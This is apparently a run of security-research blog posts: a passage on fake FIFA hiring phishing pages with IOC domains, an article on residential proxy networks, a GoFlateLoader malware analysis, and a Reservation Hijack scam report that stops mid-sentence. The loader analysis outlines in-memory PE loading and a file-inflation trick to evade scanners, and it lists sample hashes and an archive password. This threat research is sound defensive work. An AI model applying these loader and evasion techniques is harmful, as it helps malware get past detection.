<p>This flexibility makes the campaign harder to frame as a single World Cup scam. FIFA provides the timely hook, but the mechanism is recruitment phishing. A scammer can swap the logo, recruiter name, and sign-in provider while keeping the same basic path to the victim’s credentials.</p><h4>Why fake recruitment pages work</h4><p>Recruitment gives attackers a clean excuse to ask for things that might otherwise raise suspicion.</p><p>A candidate expects to click a scheduling link. They expect a recruiter profile. They expect a calendar prompt. In some cases, they may also expect to use a work email, especially for corporate, contractor, or partner-facing roles.</p><p>The fake login window turns that ordinary flow into credential theft. Users are used to “Continue with Google” and “Continue with Facebook” buttons, but the button itself proves nothing. A genuine authentication flow should take the user to the provider’s domain and controls. A fake page can draw a convincing copy while keeping the victim inside the attacker-controlled site.</p><p>The business email prompt is also a warning sign. A page that rejects a personal email and asks for a work address may be trying to raise the value of the stolen account.</p><h4>What job seekers should check before signing in</h4><p>Start from the company’s official careers page, not from a link in a message, ad, search result, or forwarded post. For FIFA, that means checking jobs.fifa.com or fifa.pinpointhq.com, not trusting a domain because it contains “fifa,” “career,” “hiring,” or “jobs.”</p><p>Look closely at the domain before entering credentials. Scam pages often add plausible hiring words around a brand name: career, talent, jobs, hiring, portal, or connect. A polished page on a new domain is still a new domain.</p><p>Treat the sign-in step as the real checkpoint. If a page offers Google or Facebook login, check whether the flow actually opens a real provider-controlled authentication page. A fake window embedded inside the original site, broken controls, inactive links, or a provider logo used only as decoration should stop the process.</p><p>Use security software that includes web and phishing protection. These tools can block known malicious pages before they load, which is especially useful when scam domains look polished, appear in search results, or are shared through otherwise legitimate channels.</p><h4>What companies can do</h4><p>Recruitment pages are public by design, which makes them easy to copy.</p><p>Security teams should monitor for newly registered domains combining their brand with hiring-related terms. They should also watch for pages that reuse favicons, recruiter photos, job descriptions, and calendar-booking language from legitimate hiring flows.</p><p>HR and recruiting teams should make the official hiring path easy to verify. Candidates should not have to guess whether a domain is legitimate. A clear careers page, consistent recruiter communication, and warnings about unofficial scheduling links can remove some of the ambiguity attackers rely on.</p><h4>Conclusion</h4><p>The fake FIFA hiring page worked because it did not feel unusual. It looked like a normal step in a hiring process.</p><p>Attackers do not need to invent new behavior when they can copy one people already trust. A branded scheduling page, a recruiter profile, and a familiar sign-in button can be enough to move a victim from interest to credential entry.</p><p>The decision point is the login. Before entering a work email or password, check the domain, check where the authentication flow really goes, and verify the role through the company’s official careers site. Security software with web and phishing protection adds another layer, especially against short-lived scam pages that may only stay online for hours or days.</p><p><strong>IOCs:</strong></p><p>hxxps://fifahiring[.]com<br>hxxps://careers-fifahiring[.]com<br>hxxps://fifajobs[.]com<br>hxxps://fifa-mg[.]shop<br>hxxps://heineken-careers[.]com<br>hxxps://aquent-talent-jobs[.]com<br>hxxps://hays-talent-opportunities[.]com<br>fifeq2026eqbackeq[.]onrender[.]com/api/login</p>

Scammers are copying recruitment and calendar-booking flows to make fake Google and Facebook sign-ins look routine. 

Fake hiring pages abuse FIFA and other major brands to steal work credentials 

Threat Research Team Lead

<p>Since January 2026, we have detected 7.4 million malicious incidents tied to residential proxy traffic, affecting 572,000 users in our telemetry. In this model, the household whose connection is being used is often not the buyer of the traffic. It is the exit point.</p><p>That is the uncomfortable part of residential proxy networks. A home router, laptop, phone, smart TV, or other always-on device can quietly become part of a commercial network that routes strangers’ internet traffic through ordinary consumer IP addresses. To the websites on the other end, that traffic looks as if it came from a real household, because it did.</p><p>The technology itself is not inherently malicious. Businesses use residential proxies for market research, ad verification, brand protection, security testing, and services that need to see the web as a real user would. But the same feature that makes these networks useful also makes them attractive for abuse: traffic from a household IP address is hard to block without risking false positives against legitimate users.</p><p>The problem for consumers is simpler. Many people do not realize their device or connection can be enrolled into this kind of network at all. Some users opt in through pay-for-bandwidth apps. Others are enrolled through “free” VPNs, bundled software development kits inside unrelated apps, or unwanted software that installs proxy components without meaningful consent.</p><p>Here is how the market works, who pays for it, and what it can cost the household that unknowingly hosts it.</p><h2>What is a residential proxy</h2><p>A residential proxy is an internet connection – typically a home laptop, phone, smart TV, or router – that has been enrolled into a third-party network and is being used to route someone else's traffic. To the rest of the internet, that traffic looks like it is coming from an ordinary household IP address assigned by a consumer ISP, not from a datacenter or&nbsp;VPN provider.</p><p>Residential proxy networks are sold commercially. The model is two-sided: some people pay to tunnel their traffic out through someone else's connection (much like a VPN, except the exit point is a real home), while others get paid to provide those exit endpoints. Some are structured as paid peer-to-peer networks, where any participant's connection can serve as an exit for any other.</p><p>Buyers pay for access to pools of millions of these "real user" IPs because they are extremely difficult to block, or rather, blocking them carries real consequences: the traffic originates from genuine households, so any block risks shutting out a legitimate user – effectively a false positive.</p><p>Common buyers include market research firms, price-comparison services, brand-protection vendors, security teams testing their own defenses, and consumer privacy tools. At the abusive end of the market, the same infrastructure used by operators running automated purchasing bots, scrapping campaigns, ad fraud, credential stuffing, phishing and other attacks where hiding the true origin of the traffic matters. Demand is also being shaped by large-scale web scraping, including&nbsp;<a href="https://blog.includesecurity.com/2026/06/the-smart-tv-in-your-livingroom-is-a-node-in-the-aiscraping-economy/">scraping for AI training data</a>. As anti-bot systems become better at identifying traffic from datacenters and known VPN providers, residential IP addresses become more attractive because they look like ordinary users. That does not make every residential proxy user malicious. It does mean consumers may be carrying traffic for businesses and actors they have never heard of.</p><h2>How consumer devices end up in these networks</h2><p>There are several ways a home device can become part of a residential proxy network. Some are explicit. Others are easy to miss.</p><p>The most obvious route is the pay-for-bandwidth model. Apps such as Honeygain, IPRoyal Pawns, and PacketStream pay users to share their internet connection. The user opts in, but they may not understand who will buy access to that connection later, what kind of traffic will pass through it, or what happens if that traffic triggers abuse reports.</p><p>A second route is the “free” VPN or proxy app. Instead of charging a subscription, the app monetizes the user’s connection by reselling bandwidth. In practice, the user may think they are getting a privacy tool while also becoming infrastructure for other people’s traffic.</p><p>A third route is through bundled software development kits, or SDKs. A developer adds a third-party component to an otherwise unrelated app, such as a flashlight, wallpaper, game, or utility. The developer gets paid when the app is active. The user sees the host app, not the proxy network behind it.</p><p>The fourth route is malware or potentially unwanted software. In those cases, the proxy component is installed silently or deceptively, with no meaningful user consent at all.</p><h2>Why the "consent" is rarely meaningful</h2><p>Even when consent technically exists, it is often not the kind of consent most people would recognize.</p><p>The disclosure may be buried in a long terms-of-service document. The wording may be vague, with phrases such as “share your unused bandwidth,” “support the app,” or “join our network.” These phrases do not clearly tell the user that arbitrary third parties may route traffic through the user’s home IP address.</p><p>There is also the question of downstream use. Users are rarely told who buys access to the network or what those buyers do with it. Their connection could be used for benign market research. It could also be used for scraping, automated account creation, ad fraud, credential stuffing, or phishing infrastructure.</p><p>The problem gets worse when the proxy component sits inside another app. The host app’s privacy policy may mention a partner SDK by brand name, but that still does not make it clear to a normal user that their device can become a proxy endpoint.</p><p>Uninstalling the visible app may not always resolve the issue cleanly either, especially when proxy components are installed separately or bundled with other unwanted software.</p><h2>The risks consumers actually carry</h2><p>When a household device becomes a residential proxy node, the user takes on risks created by someone else’s traffic.</p><p>The first risk is attribution. Abusive, fraudulent, or illegal activity routed through the device appears to come from the household’s IP address. ISP abuse notices, platform bans, fraud checks, and law enforcement requests point first to the subscriber, not to the person who bought the proxy traffic.</p><p>The second risk is performance. Continuous third-party traffic can consume bandwidth, slow the home network, hit data caps, or violate ISP terms of service. The user may only notice that the internet feels slower, a bill is higher, or a service suddenly blocks access.</p><p>The third risk is security exposure. Proxy clients run persistent background processes and maintain network connections so they can relay traffic. That adds always-on networking software to the device, often with limited visibility for the user.</p><p>The fourth risk is reputation. A home IP address used for abuse can end up on blocklists used by banks, retailers, streaming services, and online platforms. The result can be account friction, failed logins, extra verification steps, or outright blocking from services the household actually uses.</p><p>There is also a family angle. A child or another household member may install a free game, VPN, or utility without understanding the consequences. The legal, financial, and reputational risk still lands on the account holder.</p><h2>What our telemetry shows</h2><p>Since the beginning of 2026, we have detected 7.4 million malicious traffic incidents associated with residential proxy traffic, affecting 572,000 unique users in our user base.&nbsp;<br>This is not a measurement of the entire residential proxy market. It reflects what we observe in our telemetry: malicious traffic, detections, and related activity affecting protected users. The real footprint is far larger, because residential proxy networks span major consumer platforms and many devices outside our visibility.</p><p>The activity is global, but it is concentrated in a smaller set of countries. India leads by a wide margin, with roughly 83,000 affected users, followed by Vietnam with 61,000 and Brazil with 39,000. The Philippines (23,000), Poland (18,000), Indonesia (18,000) and Thailand (14,000) form a second tier, with Egypt, Spain, Ukraine, Argentina, Mexico and Italy each accounting for 10,000 to 13,000. The spread across South and Southeast Asia, Latin America, and Eastern and Southern Europe reflects where the host apps that carry this software are most widely installed.</p><p>That geographic spread likely reflects a combination of app distribution, local install patterns, user appetite for free or pay-for-bandwidth apps, and the economics of bandwidth resale. It should not be read as a simple ranking of where residential proxy abuse originates.</p><p>The chart below breaks down the threats we observed in this proxy-related traffic. Two categories dominate: phishing and malicious advertising. Behind them sits a long tail of consumer-facing fraud, including e-shop scams, generic scams, financial scams, and fake-tutorial pages, alongside outright malware such as trojans and other malicious traffic.&nbsp;</p>

<p>In the malicious proxy traffic we observed, scams and malware dominate. The important point for consumers is not only that their connection may be used by someone else. It is that, when abuse happens, their household IP address can be the return address.</p><h2>What consumers can do</h2><p>Most people will not identify a residential proxy component by name. But there are practical warning signs.</p><p>Review “free” VPNs, proxy apps, bandwidth-sharing apps, and utilities from unknown publishers. Check whether they mention bandwidth sharing, peer-to-peer networking, traffic routing, or network participation in their terms. If an app offers payment for leaving your device online, assume your connection may be resold unless the provider explains exactly how traffic is vetted and who can buy access.</p><p>On phones and computers, remove apps you do not recognize or no longer use. On home routers, check the list of connected devices and look for anything unfamiliar. If your ISP sends abuse notices, websites start blocking you, or your home IP address suddenly fails fraud checks, a proxy component is one possible explanation.</p><p>Security software can also help by detecting unwanted proxy clients, bundled components, and related malicious activity. But this should not be a guessing game for consumers. Software that turns a household connection into a commercial exit node should be named clearly and made easy to remove.</p><h2>The takeaway&nbsp;</h2><p>With residential proxiesthe user’s connection becomes an infrastructure for someone else’s business.</p><p>The issue is not that residential proxy technology exists. It has legitimate uses. The issue is whether people know when their devices are part of it, understand what kind of traffic may pass through their connection, and have a real choice to opt out.</p><p>The fix is not to pretend consumers will read every EULA. This software should be named clearly, shown plainly, and made easy to remove before a household connection becomes someone else’s infrastructure.</p>

Your home connection could be routing traffic for strangers. Here's how residential proxy networks work, how devices get enrolled and what our telemetry reveals about the risks for consumers.

Who's Really Using Your Home Internet Connection?

<h4>Key Points&nbsp;</h4><ul><li data-list-item-id="e43a143fd054561c50dba51071686adff">Gen Threat Labs has been tracking GoFlateLoader, a widespread Golang loader used to deliver multiple infostealers, including Amatera, Remus, Lumma, Vidar and StealC.&nbsp;</li><li data-list-item-id="e3d3b5d0814ea5b26aa75a8d3d6013a39">GoFlateLoader appears both in x86 (32-bit) and x86-64 (64-bit) variants, matching the bitness of the payload it is supposed to execute.&nbsp;</li><li data-list-item-id="e51ccafcfb8c418d894aeb685004a0ba5">The loader is designed for in-memory payload execution and is deliberately inflated with a massive PE overlay to hinder detection</li><li data-list-item-id="ec4bafef8a1113d24bc2b4b3a943228d1">The two main delivery paths are via supposedly cracked software and a <a href="https://research.checkpoint.com/2026/impersonation-click-hijacking-and-tds-inside-a-malware-distribution-ecosystem/" target="_blank" rel="noreferrer noopener">malicious TDS recently documented by Check Point Research</a>, which may redirect users to dedicated landing pages serving password-protected archives containing GoFlateLoader.&nbsp;</li></ul><h4>Introduction&nbsp;</h4><p>Not every threat that matters is technically sophisticated, and that is also the case with GoFlateLoader, which is a rather simple loader written in Go, whose sole purpose is to decode and execute the payload in memory. What stands out the most is not what the loader does but rather what it does not do – it comes without anti-debugging, anti-VM, or sandbox-evasion checks, and also lacks API hashing or CFG obfuscation, the kind of tricks that loaders almost always come with. Instead, GoFlateLoader relies on one of the simplest yet still effective tricks to stay under the radar – it appends a massive PE overlay at the end of the file, deliberately inflating the binary's size (hence the name GoFlateLoader).&nbsp;</p><p>Nevertheless, it is important to understand that malware does not necessarily need to be elegant or stealthy. In the end, the only thing that matters to attackers is whether it can successfully deliver the final payload. And if that is the only metric, GoFlateLoader appears to be working fairly well for its operators, as we continue to see it widely distributed across our user base. Since the beginning of April, we have protected more than 33,000 unique users from it, with the most affected countries including Brazil, India, Argentina, Mexico, Turkey and Spain.&nbsp;</p>

<h4>GoFlateLoader’s Execution Flow&nbsp;</h4><p>If we strip away the obfuscation noise that the Go compiler and the author’s decoy code add, the loader’s execution flow is short and linear:&nbsp;</p><ul type="disc"><li data-list-item-id="efa51af3b2859fd9c684efca0c82d3b66">Copy the encoded payload blob from the <code>.rdata</code> section onto the stack.&nbsp;</li><li data-list-item-id="e879bb970c6d1a81b8a42512222aceaa4">Decode the payload using a small, multi-stage, custom byte-level transformation into a valid PE.&nbsp;</li><li data-list-item-id="ebff4f340af15b75cbea0d682b26b7645">Parse the PE headers of the decoded payload (image base, image size, sections, data directories, etc.).&nbsp;</li><li data-list-item-id="e37fb26cad3d18a4a0c8bf9b2595d661f">Allocate an RWX memory region using <code>VirtualAlloc</code> with <code>MEM_COMMIT | MEM_RESERVE</code> and <code>PAGE_EXECUTE_READWRITE</code> flags, trying the payload’s preferred <code>ImageBase</code> first and falling back to an OS-assigned address if that fails.&nbsp;</li><li data-list-item-id="ebbde6d77cdc942c0a6bac79f4f8a6c28">Map the decoded payload into the allocated memory region by copying the PE headers first, then walking the section table and writing each section to its target virtual address.&nbsp;</li><li data-list-item-id="ed16738229e0f5c70a981c0c5f9b715f9">Apply relocations (only if preferred base mapping fails).&nbsp;</li><li data-list-item-id="e76cde4bae1be6c21b897c350c6fd15db">Resolve imports by walking the standard <code>IMAGE_IMPORT_DESCRIPTOR</code> table and rebuild the IAT in place via <code>LoadLibrary</code> and<code> GetProcAddress</code>.&nbsp;</li><li data-list-item-id="e786887a3d34fc7ce344ee8375944799e">Transfer execution to the final payload using Go’s <code>syscall.Syscall</code>.&nbsp;</li></ul><p>&nbsp;</p><p>This is essentially a textbook example of manual PE loading with the payload reconstructed and executed entirely in memory so that it never touches the disk.&nbsp;&nbsp;</p>

<p>Notably, GoFlateLoader transfers execution to the final payload via <code>syscall.Syscall</code>. In Go, <code>syscall.Syscall</code> has the signature <code>Syscall(trap, nargs, a1, a2, a3)</code>, where <code>trap</code> is the function pointer to invoke, <code>nargs </code>is the argument count, and <code>a1</code>, <code>a2</code>, and <code>a3</code> are the first three arguments passed to the target function. Here, trap is set to point to the final payload’s entry point, <code>nargs</code> is set to <code>1</code>, and since the execution is transferred to that entry point, the remaining arguments serve only as filler values and are never used by the invoked payload. In other words, GoFlateLoader is not issuing a <code>syscall</code> at all, but abusing <code>syscall.Syscall</code> as a generic call gate to hand control to the payload.&nbsp;&nbsp;</p><p>It is worth emphasizing that GoFlateLoader consistently sets these arguments to the hardcoded values <code>1</code>, <code>2</code>, <code>3</code>, and <code>4</code>, which is unusual enough to stand out as a potential detection opportunity (combined with other patterns).&nbsp;</p>

<p>The loader also carries substantial junk/decoy code, which varies across builds and serves no purpose other than padding the control flow and complicating static analysis.&nbsp;&nbsp;</p><p>&nbsp;</p><h4>Inflated PE Overlay&nbsp;</h4><p>GoFlateLoader’s defining characteristic is its massive size (typically 700-950 MB), caused by an artificially inflated PE overlay appended to the original loader.&nbsp;</p>

<p>This is a deliberate design choice intended to bypass detection, as excessively large executable files may pose challenges for AVs and EDRs, primarily due to performance and resource constraints. As a result, to preserve performance and avoid noticeable impact to end users, these solutions often enforce practical file-size limits for deep scanning and/or emulation.&nbsp;</p><p>The same logic extends to automated analysis pipelines – bloated files frequently cause timeouts during heuristic analysis and effectively prevent the sample from being uploaded to cloud-based sandboxes or threat intelligence platforms, which enforce their own strict upload limits to manage bandwidth and storage costs. A prime example is VirusTotal, which enforces a strict 650 MB upload limit. The fact that GoFlateLoader consistently sits just above this threshold strongly suggests that VirusTotal is one of the platforms it specifically aims to evade.&nbsp;&nbsp;</p><p>In most cases, GoFlateLoader’s PE overlays are filled with null bytes, though we have also observed builds with random padding.&nbsp;&nbsp;</p>

<p>Crucially, adding such a PE overlay comes at virtually no distribution cost for attackers, as the inflated data compresses to a fraction of its original size (assuming constant padding).&nbsp;</p><p>&nbsp;</p><h4>Delivered Final Payloads&nbsp;</h4><p>The final payloads distributed through GoFlateLoader are predominantly information stealers, with the most prevalent currently being Amatera, <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer" target="_blank" rel="noreferrer noopener">Remus</a>, and Lumma. Beyond these, we have also observed it distributing Vidar, StealC, and SvitStealer.&nbsp;</p><p>GoFlateLoader comes in both x86 and x86-64 variants, with each variant matched to the architecture of the payload it is intended to execute.&nbsp;&nbsp;</p><p>As for how GoFlateLoader binaries are distributed, we have observed at least two notable delivery paths. The first is through supposedly cracked software. The second involves the payload being served via <a href="https://research.checkpoint.com/2026/impersonation-click-hijacking-and-tds-inside-a-malware-distribution-ecosystem/" target="_blank" rel="noreferrer noopener">the malicious TDS recently described by Check Point Research</a>, which redirects users to a landing page that offers a downloadable archive and separately displays the password required to extract it. This approach provides several advantages for the threat actor. First, compression significantly reduces the binary size due to the constant-padded PE overlay. Second, because the archive password is displayed separately on the landing page, it makes it harder for AV and EDR solutions to obtain it and decrypt the archive. As a result, the payload may remain concealed until the victim manually extracts it.&nbsp;</p><p>&nbsp;&nbsp;</p><h4>Summary&nbsp;</h4><p>GoFlateLoader is a reminder that prevalence and sophistication are not the same thing. At its core, it is a rather simple manual in-memory PE loader written in Go, with no novel anti-analysis tricks under the hood. Whatever evasion it achieves comes not from obfuscation or other anti-analysis tricks but from its size – the appended PE overlay is built to slip past size-constrained scanners and automated analysis pipelines. Yet, despite its low level of sophistication, GoFlateLoader remains an active and relevant threat, used to deliver a wide range of prevalent information stealers.&nbsp;&nbsp;</p><p>Gen products protect our users against both GoFlateLoader and the payloads it delivers.&nbsp;</p><p>&nbsp;</p><h4>Indicators of Compromise (IoCs)&nbsp;</h4><p>Note: The files listed in the IoCs that are not archives all exceed 650 MB in size and are therefore not available on VirusTotal.&nbsp;</p><p>b88c5744975d2abb447aecc6c090fee9f8580413f4612eecdc6ed1973e8a1739 (password-protected archive containing GoFlateLoader x64 variant loading Remus; pwd: 1234)&nbsp;</p><p>ed5ae7f36453c5a23e9868a5729d67e0549a11f6dea54f5f52d654a8f51d4902 (archive containing GoFlateLoader x64 variant loading Remus)&nbsp;</p><p>841c9297cb8a2e0ff89433d13c05bfc760eb2e98e251cb8fa785d2ad7cbac05f (archive containing GoFlateLoader x86 variant loading Amatera)&nbsp;</p><p>ece7c48eb411b24f26762ede83badb4a644c41d5777129381ac2541804d64fc2 (archive containing GoFlateLoader x86 variant loading Lumma)&nbsp;</p><p>421ce2d2f49c23bbe9f60ef3b9cd38d7eb912ce02e56a61837656210069bd9e2 (archive containing GoFlateLoader x64 variant loading Vidar)&nbsp;</p><p>121c2dc793b3873f75a29ec02241f94136de19c049382a50a50d0d5b99507073 (GoFlateLoader x64 variant loading StealC)&nbsp;</p><p>2415db5081cec9bfd14ad6da1a66169fd96f13a49010c319a73d1ed6fafd4efa (GoFlateLoader x64 variant loading Vidar)&nbsp;</p><p>d9917ade3b4c125a95b5d3e6343cde26145dfbf569bd7e2a843fd0c6fc8ddc28 (GoFlateLoader x64 variant loading Remus)&nbsp;</p><p>4cf6893756f441522b94b36f10e5de0e47aeed4743f95c51650746d1ecf97e3d (GoFlateLoader x64 variant loading SvitStealer)&nbsp;</p><p>8b89d6c9152d3aab97aadd515ecb69ca72654db2f25425759ba4b646853d737d (GoFlateLoader x86 variant loading Lumma)&nbsp;</p><p>90ce4ff9da23ac150da0a8e17930cab1e369aa349fdc1b65691b70369145664a (GoFlateLoader x86 variant loading Amatera)&nbsp;</p>

 Intentionally Inflated Go Binaries That Use Massive PE Overlays to Bypass Detection

GoFlateLoader: A Widespread Golang Loader Delivering Multiple Infostealers

<p>When we published the first part of this research, we said the investigation was still ongoing. That was not a closing line. We were already looking at the infrastructure, the signals behind the attacks, and the scale of the reservation data abuse we were seeing in our telemetry.&nbsp;</p><p>Then something else happened.&nbsp;</p><p>Friends, colleagues, and other contacts started forwarding us messages they had received from Booking.com. The messages warned that unauthorized third parties may have accessed information linked to their reservations. Shortly after, media outlets began reporting the same thing: Booking.com had notified affected customers, reset reservation PINs, and said the accessed information could include names, email addresses, phone numbers, booking details, and information shared with accommodations. Booking.com said financial information was not accessed from its systems.&nbsp;</p><p>The timing mattered, but not because it started our investigation. It mattered because it publicly confirmed the kind of reservation-data exposure our first article had described from the attack side.&nbsp;</p><p><a href="https://us.norton.com/blog/online-scams/reservation-hijacking-scam" target="_blank">Reservation Hijack scams</a> work because criminals do not have to guess. A traveler receives a message about a real booking. The message contains details that make sense: the right accommodation, the right trip context, sometimes the right contact information. The link then opens a fraudulent page built around the same accommodation.&nbsp;</p><p>A generic <a href="https://us.norton.com/blog/online-scams/what-is-phishing " target="_blank">phishing message</a> has to create trust from nothing. This scam steps into a relationship that already exists between the traveler, the booking platform, and the accommodation.&nbsp;</p><p>While those public warnings were appearing, Gen Threat Labs continued canvassing the data we had available: blocked URLs, fraudulent landing pages, SMS messages, emails, WhatsApp messages, in-app message evidence, and other signals connected to attacks we had already stopped. We used AI-assisted analysis to connect pieces that would otherwise remain scattered: messages, landing pages, accommodation names, URLs, templates, and infrastructure patterns. Human analysts reviewed the results and separated what we could prove from what we could only suspect.&nbsp;</p><p>The result is a much clearer picture.&nbsp;</p><p>We identified more than <strong>350 compromised accommodations</strong> linked to the Reservation Hijack scam flows, spread across <strong>50 countries</strong>. These were not abstract indicators or generic travel-themed pages. In the cases we analyzed, victims had already received reservation-specific information before being pushed to a fraudulent page customized around the accommodation tied to that booking.&nbsp;</p><p>That is the difference between ordinary travel phishing and this model. The attackers are not guessing who is traveling. They already have enough reservation context to make the fraud feel normal.&nbsp;</p><p>And they are doing it at scale.&nbsp;</p>

<h3>How we connected the evidence&nbsp;</h3><p>The second phase of our investigation was already underway when Booking.com’s customer notifications started circulating publicly.&nbsp;</p><p>Gen’s view of this activity comes from attacks we blocked before they could complete. No single signal tells the whole story. An SMS or WhatsApp message may show the <a href="https://us.norton.com/blog/emerging-threats/what-is-social-engineering " target="_blank">social engineering</a>. A URL may show the redirect path. A landing page may show the accommodation being impersonated. An in-app message may show where the attacker entered the trusted communication flow. A repeated page structure may link incidents that look separate at first.&nbsp;</p><p>Put together, those pieces show how reservation data moves from compromise to fraud.&nbsp;</p><p>AI helped us work through that evidence at scale. We used it to normalize accommodation names, cluster similar messages, compare landing-page structures, connect URLs with page content, and flag repeated patterns across channels. This was not “AI says these attacks are connected.” It was AI-assisted triage followed by human review.&nbsp;</p><p>From that process, we extracted and cleaned accommodation names from captured fraudulent landing pages and identified <strong>350 compromised accommodations</strong>.&nbsp;</p><p>We use “compromised accommodations” carefully here. It means reservation context tied to those accommodations was compromised and used in an attack flow we intercepted. The source of compromise may vary: a hotel account, a booking platform partner account, an email inbox, a property management system, a guest messaging workflow, or a third-party service provider.&nbsp;</p><p>The end result for the traveler is the same. Criminals had access to information that should have stayed inside the booking relationship.&nbsp;</p><p>This is also a conservative number. It only includes attacks where we had enough evidence to connect the flow to a specific accommodation. It does not include people who received a message and never clicked, attacks outside our telemetry, landing pages we did not capture, or cases where the accommodation name could not be reliably extracted.&nbsp;</p><p>So 350 is not the size of the problem. It is the part we could see clearly.&nbsp;</p><h3>From scam pattern to repeatable operation&nbsp;</h3><p>A single compromised hotel account can explain a few victims. A copied phishing kit can explain a short campaign. Hundreds of accommodation-specific scam flows across 50 countries point to something more organized.&nbsp;</p><p>The model we see is consistent.&nbsp;</p><p>Reservation context enters the fraud chain, sometimes through compromised accommodation-side accounts, inboxes, partner tools, or data obtained from other criminal actors. That context is then used to contact travelers with details that make the message feel legitimate.&nbsp;</p><p>The wording, the property, the country change. The logic does not.&nbsp;</p><p>That is why this follow-up is not simply “we found more cases.” The first article explained <a href="https://www.gendigital.com/blog/insights/research/reservation-hijack-scam">how Reservation Hijack scams work</a>. This one shows how far the model has spread.&nbsp;</p><h3>A worldwide footprint, led by Europe&nbsp;</h3><p>The highest number of compromised accommodations in our dataset were linked to <strong>Germany</strong>, followed by <strong>France</strong>, the <strong>United Kingdom</strong>, <strong>Italy</strong>, <strong>Spain</strong>, and the <strong>United States</strong>.&nbsp;</p><p>Germany accounted for 49 compromised accommodations in the dataset. France followed with 35, the United Kingdom with 31, Italy with 24, Spain with 20, and the United States with 19.&nbsp;</p><p>Together, the top five European countries, Germany, France, the United Kingdom, Italy, and Spain, accounted for <strong>159 compromised accommodations</strong>, about <strong>45%</strong> of the full dataset.&nbsp;</p>

<p>The European concentration makes sense. Europe has a dense travel market, a high volume of cross-border bookings, many independent and mid-sized accommodation providers, and a strong dependency on online booking platforms and pre-arrival guest messaging.&nbsp;</p><p>Those conditions give criminals useful cover. Travelers expect messages before arrival. They expect payment questions, check-in instructions, policy reminders, and booking updates. A well-timed fake message does not feel unusual.&nbsp;</p><p>But the country distribution also shows that this is not a single-region problem. The activity spreads across <strong>50 countries</strong>, with a long tail of destinations beyond the largest clusters.&nbsp;</p>

<p>That long tail matters. It suggests the model is not limited to a few obvious tourist destinations or a handful of famous hotel brands. Once criminals have access to reservation data and a working scam flow, the same approach can be adapted to different countries, languages, property types, and booking habits.&nbsp;</p><p>The property does not need to be famous. It only needs to be real, tied to a real reservation, and recognizable to the victim.&nbsp;</p><h3>Not just hotels&nbsp;</h3><p>Hotels make up the largest share of the dataset, but they are not the whole story.&nbsp;</p><p>We identified compromised accommodations across several property types: hotels, aparthotels, apartments, inns, motels, lodges, resorts, guesthouses, B&amp;Bs, hostels, villas, bungalows, and capsule hotels.&nbsp;</p>

<p>This is a useful reminder of how fragmented the travel ecosystem really is. A traveler may book a large hotel chain, a family-run guesthouse, a serviced apartment, a hostel, or a villa through similar platforms and messaging flows.&nbsp;</p><p>From the traveler’s point of view, the trust model is almost the same. They made a booking. They expect communication. They may not know whether the message came from the property, the platform, a channel manager, a property management system, or a compromised account sitting somewhere in between.&nbsp;</p><p>That is exactly the gap criminals are abusing.&nbsp;</p><h3>How big could this problem be?&nbsp;</h3><p>To understand the potential scale of Reservation Hijack scams, we looked at the accommodation properties appearing in our research dataset.&nbsp;</p><p>In total, we identified <strong>350 accommodation entries</strong> linked to reservation hijack scam activity. These were not all the same kind of business. The dataset included hotels, aparthotels, resorts, hostels, guesthouses, villas, apartments and other accommodation types. For each one, we estimated the number of rooms, units, beds or capsules, depending on the property type, and used that to calculate the likely maximum guest capacity.&nbsp;</p><p>Across the deduplicated dataset, these properties represented an estimated maximum capacity of around <strong>82,000 guests at any given time</strong>. Using a conservative occupancy rate of <strong>50%</strong> and an average length of stay of <strong>2.5 nights</strong>, this translates into approximately <strong>6 million guest stays per year</strong>.&nbsp;</p><p>That does not mean 6 million people were scammed. It does not mean 6 million people had their data exposed. What it shows is the size of the opportunity criminals may be looking at when they compromise accommodation or booking communication channels.&nbsp;</p><p>A single compromised workflow can give scammers something much more valuable than a random phone number or email address. It can give them context: the name of the accommodation, the dates of the stay, the booking amount, the channel the guest expects to be contacted through, and the right moment to create urgency.&nbsp;</p><p>That is why Reservation Hijack scams are so convincing. The scam does not feel like spam. It feels like part of the trip.&nbsp;</p>

<h3>The activity does not look random&nbsp;</h3><p>We are still investigating the infrastructure behind these attacks, so we are not attributing the activity to a named group.&nbsp;</p><p>But the evidence does not look like hundreds of unrelated actors randomly copying one another.&nbsp;</p><p>Across the dataset we analyzed, the same fingerprints kept appearing. Many pages used the same internal paths for scripts, images and styles. Several included the same unusual overlay component, repeated internal asset paths, and the same card-validation language, including claims that funds would be reserved and refunded within 10 minutes.&nbsp;</p><p>The pages were also built to look specific to the victim. Hotel names appeared in page titles and visible content. Prices varied from one case to another. Check-in and check-out dates were inserted into the page. In some cases, page metadata and images were synchronized with the accommodation being impersonated. The evidence points to a repeatable process for turning reservation context into property-specific phishing pages. Taken together, those patterns are consistent with a phishing kit designed to generate accommodation-specific pages at scale, rather than pages built manually for each victim.&nbsp;</p><p>The phishing pages also included a fake live support chat. To the victim, it looked like part of the booking or payment process, but it was controlled from the phishing infrastructure. The payment step could therefore become a live interaction: someone behind the page could react to the victim’s input, ask for another card, explain away a failed “validation”, push the victim to continue, or try to capture a one-time code while the victim still believed they were talking to booking support.&nbsp;</p><p>Some of the infrastructure also uses legitimate internet services, including services such as Cloudflare, to place a layer between the visible scam page and the systems behind it. That does not make those services malicious. It means criminals are abusing the same infrastructure that normal websites use, including protective layers that can obscure hosting details, traffic paths, and backend systems.&nbsp;</p><p>For investigators, this kind of setup makes the infrastructure harder to trace. For travelers, it removes many of the usual warning signs. They see a page that loads normally, shows the right accommodation, includes a support chat, and refers to the trip they actually booked. At that point, many people will treat the request as part of the reservation process, even when it is not.&nbsp;</p><h3>Correct information is not proof of legitimacy&nbsp;</h3><p>For years, people have been told to watch for bad spelling, odd sender names, generic greetings, and suspicious links. That advice still helps, but it does not solve this problem.&nbsp;</p><p>A message can include the right accommodation, the right destination, and details from a real stay, and still be malicious. A page can show the correct hotel name, dates, and a plausible payment amount, and still be fake. A request can arrive at the moment when a traveler expects a check-in or payment message, and still be fraud.&nbsp;</p><p>Page behavior can create false confidence too. In some of the phishing pages we analyzed, the fake support chat looked like part of the booking or payment process. If the victim had a question, or if the card “validation” failed, the page could keep the interaction going instead of simply collecting data and stopping there.&nbsp;</p><p>That is what makes Reservation Hijack scams difficult for travelers to judge. The victim is not being tricked only by a fake brand or a fake website. They are being pushed through a process built around real context, at the moment when that context feels normal.&nbsp;</p><p>Travelers expect hotels and booking platforms to contact them. They expect last-minute requests, check-in instructions, payment checks, ID forms, and confirmation messages. Criminals are not fighting that expectation. They are using it.&nbsp;</p><h3>What travelers should do&nbsp;</h3><p>The safest rule 